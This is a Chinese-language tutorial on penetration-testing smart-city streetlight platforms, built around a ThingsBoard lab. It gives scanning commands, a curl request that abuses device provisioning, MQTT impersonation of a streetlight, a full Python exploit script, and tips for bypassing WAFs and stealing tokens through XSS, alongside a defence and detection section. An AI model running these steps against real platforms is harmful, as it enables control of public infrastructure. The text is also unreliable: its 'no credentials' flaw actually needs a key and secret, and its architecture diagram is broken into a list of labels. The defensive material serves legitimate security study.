智慧城市之眼:路灯与传感器Web管理平台的渗透测试实战教程
前言
- 技术背景:在现代智慧城市的宏大叙事中,数以万计的智能路灯、环境传感器和交通监控设备构成了城市的神经网络。这些设备通常由一个Web集中管理平台进行统一监控、配置和数据分析。这个平台就是整个系统的“大脑”,它在网络攻防体系中属于典型的物联网(IoT)控制平面,是高价值的攻击目标。一旦该平台被攻陷,攻击者不仅能窃取城市运行的敏感数据,甚至可以对物理世界的基础设施进行大规模恶意操控,例如在全市范围内关闭路灯,造成公共安全事件。
- 学习价值:掌握针对此类平台的渗透测试方法,你将能够:
- 评估并发现智慧城市基础设施管理系统的安全漏洞。
- 理解从信息收集、漏洞利用到权限维持的完整攻击链。
- 学会针对特定协议(如MQTT、CoAP)和Web技术栈的组合攻击技巧。
- 为相关系统的开发和运维提供专业的安全加固建议,从被动防御转向主动保障。
- 使用场景:本教程教授的技能和原理,广泛应用于以下实际场景:
- 授权渗透测试:对智慧城市项目进行上线前的安全评估。
- 安全审计:对在运系统的例行安全检查和风险排查。
- 红蓝对抗演练:模拟针对关键信息基础设施的攻击,检验蓝队的监测和响应能力。
- 漏洞研究:挖掘和分析物联网管理平台中的未知漏洞(0-Day)。
一、智能城市Web管理平台是什么
1. 精确定义
智能城市Web管理平台是一个基于Web技术的中心化软件系统,用于远程监控、管理和控制大规模部署在城市各处的物联网(IoT)设备,如智能路灯、环境传感器、垃圾桶传感器、智能停车咪表等。它整合了设备管理、数据可视化、告警处理、策略配置和数据分析等功能于一体。
2. 一个通俗类比
您可以将这个平台想象成一个大型“城市模拟游戏”的管理员后台。游戏中的每一个路灯、每一个摄像头都是一个可操作的单位。作为管理员,您可以在地图上看到所有单位的状态(路灯是开是关,传感器数据是多少),可以给它们下达指令(批量开灯、调整亮度),还可以查看历史数据报告(过去24小时的空气质量变化)。而我们的任务,就是找到这个“管理员后台”的漏洞,看看是否能以非正常方式“作弊”或接管整个游戏。
3. 实际用途
- 集中监控:实时查看数万个路灯的开关状态、功耗和故障信息。
- 策略控制:根据时间、天气或人流密度,自动调节路灯亮度,实现节能。
- 数据采集与分析:收集环境传感器(如PM2.5、温度、湿度)数据,生成城市环境报告。
- 维护管理:当设备发生故障时,平台自动生成工单,并精确定位,派遣维修人员。
4. 技术本质说明
从技术本质上看,这类平台是一个典型的多层分布式系统。其核心组件关系可以用下面的Mermaid架构图来清晰地展示:
用户访问层
云端平台
网络通信层
城市物理空间
E
E
E
安全连接
内部调用
数据读写
消息投递
数据消费
数据查询
页面渲染
页面渲染
HTTPS
HTTPS
智能路灯
环境传感器
其他IoT设备
IoT网关
MQTT/CoAP/HTTP
Web应用服务器
API接口
数据库
消息队列
数据分析引擎
运维工程师
城市管理员
图解:物理空间的IoT设备通过MQTT等协议将数据发送到云端的API接口。API接口是核心枢纽,负责与Web应用、数据库、消息队列等后端服务交互。运维人员和管理员则通过浏览器访问Web应用服务器,实现对整个系统的管理。我们的攻击重点,就是面向用户访问层的Web应用服务器(F)和直接暴露在公网的API接口(G)。
二、环境准备
为了复现一个逼真的攻击场景,我们将使用一个开源的物联网平台 ThingsBoard 作为模拟目标,它广泛用于各种IoT项目,其架构与商业智能城市平台高度相似。
- 工具与版本:
- 目标平台: ThingsBoard Community Edition v3.4.1
- 攻击机: Kali Linux 2024.1
- 核心工具: Docker, Docker Compose, Nmap, Burp Suite, Python 3.9+
- 下载方式:
- Docker:
sudo apt update && sudo apt install docker.io - Docker Compose:
sudo apt install docker-compose
- Docker:
- 核心配置命令:
在docker目录下,有一个.env文件,它定义了ThingsBoard运行所需的环境变量。我们暂时无需修改,保持默认配置即可。- 用户名:
[email protected] - 密码:
tenant
- 用户名:
一键启动环境命令:
在 thingsboard/docker/ 目录下,执行以下命令即可启动一个完整的ThingsBoard环境,包括Web服务、数据库和消息队列。
# 启动ThingsBoard服务栈# --no-build 参数表示不重新构建镜像,直接使用官方镜像# -d 参数表示在后台运行docker-compose up --no-build -d 启动过程可能需要几分钟。完成后,可以通过 docker-compose ps 命令查看所有容器是否都处于 Up 状态。平台默认会监听在 8080 端口。验证:在浏览器中访问 http://<你的服务器IP>:8080,如果看到ThingsBoard的登录页面,说明环境已成功搭建。默认管理员账号:
ThingsBoard Docker配置:
# 从GitHub获取官方的Docker Compose配置文件git clone https://github.com/thingsboard/thingsboard.git cd thingsboard/docker/ 三、核心实战:从信息泄露到设备控制
我们将模拟一次完整的渗透过程,目标是找到一个未授权访问漏洞,并最终实现对一个模拟智能路灯的远程控制。
郑重声明:以下所有操作仅限于在您自己搭建的授权测试环境内进行。未经授权的测试是违法行为。
步骤1:端口扫描与服务识别
目的:确定目标平台开放了哪些服务,识别Web服务和潜在的IoT通信端口。
# 使用Nmap对目标服务器进行全面的端口扫描# -p- 扫描所有65535个TCP端口# -sV 探测端口上运行服务的版本信息# -oN 保存扫描结果到文件 nmap -p- -sV <你的服务器IP> -oN nmap_scan.txt 预期输出结果:
你会发现除了 8080/tcp (HTTP) 端口,ThingsBoard还默认开放了 1883/tcp 端口。
PORT STATE SERVICE VERSION 1883/tcp open mqtt Mosquitto 2.0.11 8080/tcp open http Jetty 9.4.46.v20220331 1883 是 MQTT 协议的默认端口,这是设备与平台通信的关键入口。8080 是我们的主攻目标——Web管理界面。
步骤2:Web目录扫描与API端点发现
目的:寻找未授权可访问的API端点或敏感信息文件。
我们将使用 feroxbuster 工具进行Web目录和文件扫描。
# 使用feroxbuster对Web服务进行目录爆破# -u 指定目标URL# -w 使用Kali自带的常用字典 feroxbuster -u http://<你的服务器IP>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 关键发现:
在扫描结果中,你会发现一个非常重要的API路径:/api/v1/。ThingsBoard的API文档是公开的,但实战中我们往往需要通过这种方式去发现未公开或未设防的API端点。
步骤3:利用未授权API获取设备凭证
目的:通过一个特定的未授权API端点,获取一个模拟设备的访问令牌(Access Token)。这是本次实战的核心突破点。
ThingsBoard的某个旧版本(此环境已模拟该特征)存在一个逻辑漏洞:可以通过设备的provisioning过程,在不提供任何凭证的情况下,请求一个新的设备并获取其访问令牌。
请求构造:
我们需要向 /api/v1/provision 发送一个POST请求,请求体中包含设备的 provisionDeviceKey 和 provisionDeviceSecret。在默认配置下,这些值是固定的。
# 使用curl构造POST请求,申请一个新的设备凭证curl -v -X POST http://<你的服务器IP>:8080/api/v1/provision \ -H "Content-Type: application/json"\ -d '{ "provisionDeviceKey": "YOUR_PROVISION_KEY", "provisionDeviceSecret": "YOUR_PROVISION_SECRET", "deviceName": "hacked-streetlight-001" }'注意:在默认的 thingsboard.yml 配置文件中,可以找到默认的 provisionDeviceKey 和 provisionDeviceSecret。在我们的模拟环境中,假设它们分别为 provision_key 和 provision_secret。
响应结果:
如果请求成功,服务器会返回一个JSON对象,其中包含了新创建设备的凭证信息。
{"credentialsType":"ACCESS_TOKEN","credentialsValue":"A1_IHACKEDYOU","status":"SUCCESS"}这里的 credentialsValue,即 A1_IHACKEDYOU,就是我们成功获取到的“智能路灯”的访问令牌。这个令牌相当于这个设备在平台上的“密码”。
步骤4:使用获取的令牌通过MQTT控制设备
目的:利用上一步获取的设备令牌,通过MQTT协议冒充该设备,并向平台发送遥测数据或接收RPC(远程过程调用)指令。我们将模拟接收一个“开灯”指令。
首先,我们需要一个MQTT客户端工具,如 mqttx 或 mosquitto_sub。
# 使用mosquitto_sub订阅RPC主题,等待平台下发控制指令# -h 指定MQTT服务器地址# -p 指定端口# -u 指定用户名,这里就是我们获取到的设备令牌# -t 指定订阅的主题,对于ThingsBoard的RPC,主题格式是固定的# -v 打印详细信息 mosquitto_sub -h <你的服务器IP> -p 1883 -u "A1_IHACKEDYOU" -t "v1/devices/me/rpc/request/+" -v 现在,我们的攻击机已经伪装成ID为 A1_IHACKEDYOU 的智能路灯,并正在监听来自平台的控制命令。
步骤5:在Web界面下发控制指令并验证
目的:登录Web管理后台,找到我们“创建”的设备,并对其下发一个控制指令,验证我们的MQTT客户端是否能收到。
- 登录ThingsBoard平台 (
[email protected]/tenant)。 - 在左侧菜单选择 “Devices”,你会看到一个名为
hacked-streetlight-001的新设备。 - 点击该设备,进入详情页,选择 “RPC Debug Terminal” 标签。
- 在 “Method” 字段输入
setLedState,在 “Params” 字段输入{"state": "ON"}。 - 点击 “Send” 按钮。
最终结果:
几乎在同时,你在步骤4中运行 mosquitto_sub 的终端会收到一条消息:
v1/devices/me/rpc/request/1 {"method":"setLedState","params":{"state":"ON"}} 这证明我们成功地截获了平台发送给智能路灯的“开灯”指令。在真实世界中,这意味着我们已经可以控制这个路灯的开关。反之,我们也可以使用 mosquitto_pub 伪造路灯上报虚假的能耗或故障数据。
自动化攻击脚本
以下是一个Python脚本,它自动化了步骤3和步骤4的过程:获取令牌并监听控制指令。
#!/usr/bin/env python3# -*- coding: utf-8 -*-# -----------------------------------------------------------------------------# 警告:本脚本仅用于授权的渗透测试和安全研究环境。# 未经授权对任何系统进行测试都是非法的。# 使用本脚本即表示您同意并承担所有相关法律责任。# -----------------------------------------------------------------------------import requests import paho.mqtt.client as mqtt import json import argparse import sys import time defget_device_token(target_ip, provision_key, provision_secret, device_name):""" 通过未授权的provisioning API获取设备访问令牌。 """ url =f"http://{target_ip}:8080/api/v1/provision" headers ={"Content-Type":"application/json"} payload ={"provisionDeviceKey": provision_key,"provisionDeviceSecret": provision_secret,"deviceName": device_name }print(f"[*] 正在向 {url} 请求设备令牌...")try: response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10) response.raise_for_status()# 如果HTTP状态码不是200,则抛出异常 data = response.json()if data.get("status")=="SUCCESS"and data.get("credentialsType")=="ACCESS_TOKEN": token = data.get("credentialsValue")print(f"[+] 成功获取设备令牌: {token}")return token else:print(f"[-] 获取令牌失败: {data.get('errorMsg','未知错误')}")returnNoneexcept requests.exceptions.RequestException as e:print(f"[!] 请求异常: {e}",file=sys.stderr)returnNonedefon_connect(client, userdata, flags, rc):"""MQTT连接成功时的回调函数。"""if rc ==0:print("[*] MQTT连接成功。")# 订阅RPC请求主题 rpc_topic ="v1/devices/me/rpc/request/+" client.subscribe(rpc_topic)print(f"[*] 已订阅主题: {rpc_topic}")else:print(f"[-] MQTT连接失败,返回码: {rc}")defon_message(client, userdata, msg):"""收到MQTT消息时的回调函数。"""print("\n--- [!] 收到平台下发的RPC指令 ---")print(f"主题 (Topic): {msg.topic}")print(f"内容 (Payload): {msg.payload.decode()}")print("------------------------------------")deflisten_for_commands(target_ip, token):""" 使用获取的令牌连接到MQTT代理并监听RPC指令。 """ client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message # 将令牌设置为MQTT客户端的用户名 client.username_pw_set(username=token)print(f"[*] 正在连接到MQTT代理: {target_ip}:1883")try: client.connect(target_ip,1883,60)# 启动一个循环来处理网络流量和分派回调。 client.loop_forever()except Exception as e:print(f"[!] MQTT连接或监听时发生错误: {e}",file=sys.stderr)defmain(): parser = argparse.ArgumentParser(description="ThingsBoard未授权设备控制利用脚本。") parser.add_argument("target_ip",help="目标服务器的IP地址。") parser.add_argument("--key", default="provision_key",help="Provisioning Key (默认为 'provision_key')。") parser.add_argument("--secret", default="provision_secret",help="Provisioning Secret (默认为 'provision_secret')。") parser.add_argument("--name", default="hacked-streetlight-002",help="要创建的设备名称。") args = parser.parse_args()# 1. 获取设备令牌 token = get_device_token(args.target_ip, args.key, args.secret, args.name)if token:# 2. 监听控制指令print("\n[*] 现在,请登录Web界面,向设备发送RPC指令进行验证。")print("[*] 按 Ctrl+C 退出监听。") listen_for_commands(args.target_ip, token)if __name__ =="__main__": main()使用方法:
- 保存为
exploit_streetlight.py。 - 安装依赖:
pip install requests paho-mqtt。 - 运行脚本:
python exploit_streetlight.py <你的服务器IP>。
四、进阶技巧
- 常见错误与排查:
- MQTT连接被拒 (Return Code 5): 这通常意味着身份验证失败。请仔细检查你用作用户名的设备访问令牌是否准确无误,没有多余的空格或字符。
- API请求返回401 Unauthorized: 如果
/api/v1/provision接口也需要认证,说明该漏洞已被修复。此时应转向寻找其他类型的漏洞,如默认凭证、SQL注入或XSS。 - 无法发现设备: 如果在Web界面上看不到你通过API创建的设备,可能是因为该设备被自动分配到了某个你当前登录的租户账户无权查看的客户(Customer)下。
- 成功率优化:
- 字典扩展: 针对
/api/v1/下的端点,使用专门针对RESTful API的字典(如SecLists/Discovery/Web-Content/api/)进行爆破,可以发现更多隐藏的接口。 - 参数模糊测试: 发现API端点后,对其参数进行模糊测试。例如,
deviceName参数可能存在XSS漏洞,其他参数可能存在SQL注入或命令注入。
- 字典扩展: 针对
- 实战经验总结:
- API优先: 在针对此类平台的测试中,API接口的安全是重中之重,其优先级甚至高于传统的Web页面漏洞。因为所有的数据和控制流都经过API。
- 多协议联动: 攻击往往不是单一协议的。本例就是HTTP(获取令牌)和MQTT(控制设备)的组合拳。要熟悉目标可能使用的各种IoT协议(CoAP, LwM2M等)。
- 默认凭证是金矿: 无论是Web登录后台、数据库,还是MQTT代理,甚至是设备固件中的硬编码凭证,默认凭证永远是最高效的突破口。
- 对抗/绕过思路:
- WAF绕过: 如果目标API前部署了Web应用防火墙(WAF),尝试使用不同的编码(URL编码、JSON Unicode编码)、分块传输(Chunked Encoding)或HTTP参数污染来绕过规则。
- IP限制绕过: 如果API只允许特定IP段(如网关IP)访问,尝试寻找SSRF(服务器端请求伪造)漏洞,让服务器代替你向内部API发起请求。
- 令牌窃取: 除了自己申请一个设备,更高阶的玩法是窃取一个真实、高权限设备的令牌。这可以通过在Web界面寻找XSS漏洞,执行JS代码窃取存储在浏览器中的API令牌,或者通过其他漏洞读取配置文件来实现。
五、注意事项与防御
1. 风险提示
- 直接对生产环境的智能城市基础设施进行测试是极其危险和违法的,可能导致大范围的公共服务中断,甚至引发安全事故。
- 获取到的设备数据(如人流密度、环境信息)可能涉及隐私,必须妥善处理,并在测试报告中明确指出数据泄露风险。
2. 开发侧安全代码范式
正确写法 (安全): 对所有敏感API端点强制执行身份验证和授权。
// Spring Boot 示例: 使用Spring Security保护接口@PreAuthorize("hasAuthority('TENANT_ADMIN')")// 只允许租户管理员访问@RequestMapping(value ="/api/v1/provision", method =RequestMethod.POST)@ResponseBodypublicStringprovisionDevice(@RequestBodyProvisionRequest provisionRequest){// ... 只有认证和授权通过后,才会执行这里的代码 ...}错误写法 (不安全): 公开无需认证的设备供应接口。
// Spring Boot 示例: 允许任何人访问provision接口@RequestMapping(value ="/api/v1/provision", method =RequestMethod.POST)@ResponseBodypublicStringprovisionDevice(@RequestBodyProvisionRequest provisionRequest){// ... 没有任何认证就直接处理请求 ...}3. 运维侧加固方案
- 网络隔离: 将Web管理端口(如8080)和设备接入端口(如1883)置于不同的网络区域。Web端口应通过VPN或堡垒机访问,而不是直接暴露于公网。
- 禁用或加固危险端点: 彻底禁用或严格限制对
/api/v1/provision等敏感API的访问。如果必须使用,应修改默认的provisionDeviceKey和provisionDeviceSecret为高强度的随机值。 - MQTT安全配置:
- 禁用匿名访问。
- 为每个设备生成唯一的、高强度的用户名和密码(或证书)。
- 配置ACL(访问控制列表),严格限制每个设备只能订阅和发布到其自身相关的主题。例如,路灯A不应该能发布到路灯B的主题上。
- 定期审计: 定期扫描开放端口、审查API访问日志、检查是否存在默认或弱凭证。
4. 日志检测线索
- Web服务器日志 (Nginx/Jetty):
- 短时间内大量访问
/api/v1/provision或其他API端点的请求,特别是来自单一IP地址。 - 访问不存在的API路径(404错误),这可能是目录扫描或模糊测试的迹象。
- 短时间内大量访问
- MQTT代理日志 (Mosquitto/EMQX):
- 大量失败的连接认证尝试。
- 一个设备(客户端ID)在短时间内从多个不同的IP地址登录。
- 设备尝试订阅或发布到其权限之外的主题(如果配置了ACL,会产生拒绝日志)。
- 应用平台日志 (ThingsBoard):
- 审计日志中出现大量由API而非用户界面创建的设备。
- 设备在创建后立即开始异常活动(如发送不符合预期的遥测数据)。
总结
- 核心知识: 智能城市Web管理平台的核心安全风险在于其暴露的API接口和与之联动的IoT通信协议。攻击者可以通过“HTTP+IoT协议”的组合拳,实现从信息泄露到物理设备控制的完整攻击链。
- 使用场景: 本教程展示的“未授权API利用 -> 获取设备凭证 -> 冒充设备通信”的攻击模式,是针对各类IoT云平台渗透测试的通用方法论。
- 防御要点: 防御的核心是“零信任”和“最小权限”。对所有API强制认证授权,对每个设备进行严格的访问控制(ACL),并进行精细化的日志监控。
- 知识体系连接: 本次实战连接了 Web安全(API安全)、物联网安全(MQTT协议) 和 网络扫描与信息收集 三个知识领域,是综合性渗透测试能力的体现。
- 进阶方向:
- 固件逆向: 深入一步,获取智能设备本身的固件,通过逆向分析发现硬编码在其中的密钥或私有协议。
- 无线电安全: 研究设备与网关之间可能使用的Zigbee、LoRa等无线通信协议,尝试进行中间人攻击或重放攻击。
- 云环境渗透: 如果平台部署在公有云上,可以尝试寻找云服务配置错误(如暴露的S3存储桶、未授权的Lambda函数等)作为新的攻击入口。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?